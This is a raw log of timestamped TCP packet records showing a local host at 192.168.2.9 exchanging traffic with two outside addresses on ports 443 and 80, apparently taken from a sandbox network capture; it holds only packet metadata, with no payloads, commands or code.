Aug 2, 2024 14:16:50.182635069 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182657003 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182692051 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182714939 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182735920 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182761908 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182775974 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182822943 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182837009 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182879925 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182883978 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182898045 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182919025 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182934999 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182976007 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182990074 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.183010101 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.183043003 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.183060884 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.183088064 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.183731079 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.183779955 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.183795929 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.183832884 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.183851957 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.183865070 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.183892965 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.184060097 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.184114933 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.184128046 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.184187889 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.184189081 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.184201956 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.184263945 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.184282064 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.184303999 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.184309959 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.184370995 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.216140985 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.216219902 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.266220093 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.266304970 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.266602993 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.266630888 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.266676903 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.266707897 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.266736984 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.266804934 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.266957045 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.266973972 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.267014027 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.267030001 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.267056942 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.267079115 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.267923117 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.267926931 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.268012047 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.268028021 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.268080950 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.268568993 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.268584013 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.268642902 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.268657923 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.268711090 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.269061089 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.269082069 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.269141912 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.269157887 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.269216061 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.269840956 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.269855976 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.269917011 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.269931078 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.269990921 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.274343014 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.274357080 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.274424076 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.274441957 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.274501085 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359230042 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.359304905 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.359447002 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359447002 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359520912 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.359587908 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359658957 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.359704971 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.359729052 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359744072 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.359777927 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359802008 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359812975 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.359884977 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.359890938 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359914064 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359951973 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.359954119 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.359988928 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:57.594360113 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:57.599257946 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:57.599442005 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:57.599442005 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:57.599531889 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:57.604340076 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:57.604531050 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.100822926 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.101078033 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.108182907 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.108182907 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.113059998 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.113518000 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.279961109 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.280052900 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.281263113 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.281263113 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.287998915 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.288012981 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.399899006 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.400227070 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.401258945 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.401294947 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.406272888 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.406318903 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.519922018 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.520068884 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.534373045 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.534404993 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.539324999 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.539482117 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.707993031 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.708055019 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.709405899 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.709405899 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.714474916 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.714509010 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.828140020 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.828216076 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.829271078 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.829318047 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:58.834142923 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:58.834325075 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.000760078 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.000828981 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.003102064 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.003117085 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.009773016 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.120764017 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.120820045 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.121942043 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.122000933 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.127309084 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.238928080 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.238976955 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.241369963 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.241449118 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.246347904 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.357131958 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.357207060 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.359544039 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.359591961 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.364545107 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.476516962 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.476644993 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.477715969 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.477715969 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.482556105 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.482690096 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.646718025 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.646763086 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.648118019 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.648137093 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.653043985 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.653073072 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.822338104 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.822396040 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.823615074 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.823615074 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.828423023 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.828613043 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.995480061 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:16:59.995708942 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.996782064 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:16:59.996782064 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.001971960 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.002038956 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.170614958 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.170890093 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.171952009 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.171952009 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.176768064 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.177005053 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.344228029 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.344289064 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.345217943 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.345236063 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.350058079 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.350131035 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.515794992 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.515856981 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.517040968 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.517110109 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.521955013 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.634789944 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.634854078 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.636797905 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.636878014 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.641694069 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.753201008 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.753284931 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.754173994 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.754194021 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.759035110 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.759144068 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.927346945 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.929624081 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.930677891 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.931142092 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:00.935519934 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:00.936002970 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.105218887 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.105312109 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.106472969 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.106537104 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.111370087 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.111471891 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.300098896 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.300205946 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.301229954 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.301285982 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.306797028 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.418885946 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.419059038 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.420043945 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.420109987 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.424913883 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.425221920 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.591351032 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.591470957 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.592506886 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.592506886 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.597331047 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.597480059 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.763144970 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.767250061 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.772264004 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.772264004 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.777264118 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.889184952 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.889631033 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.890789986 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.890789986 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:01.895649910 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:01.896073103 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.076070070 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.079215050 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.084894896 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.085097075 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.092137098 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.092256069 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.261106968 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.261194944 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.262398005 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.262456894 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.267357111 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.267482996 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.434998989 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.435204983 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.436314106 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.436331987 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.441195011 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.441540003 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.607554913 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.607625008 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.608793974 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.608875036 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.613733053 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.613775015 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.779546022 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.779659033 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.782300949 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.782339096 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.787312984 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.787399054 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.955787897 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.955846071 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.957190990 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.957247972 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:02.962069035 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:02.962213039 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.129096985 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.129169941 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.143570900 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.143620014 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.148607016 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.264168024 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.267318010 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.275492907 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.275531054 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.280518055 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.280663013 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.447489023 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.447547913 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.448471069 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.448471069 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.453557014 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.453597069 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.624078989 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.624187946 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.625138998 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.625224113 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.630122900 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.630410910 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.797333002 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.799262047 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.802505016 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.802505016 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.808473110 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.808542013 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.975414991 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:03.975563049 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.976695061 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.976746082 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:03.982608080 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:04.104751110 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:04.104878902 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:04.106086969 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:04.106195927 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:04.111268044 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:05.217828035 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:05.217884064 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:05.219234943 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:05.219281912 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:05.220309019 CEST	80	49710	52.54.161.79	192.168.2.9
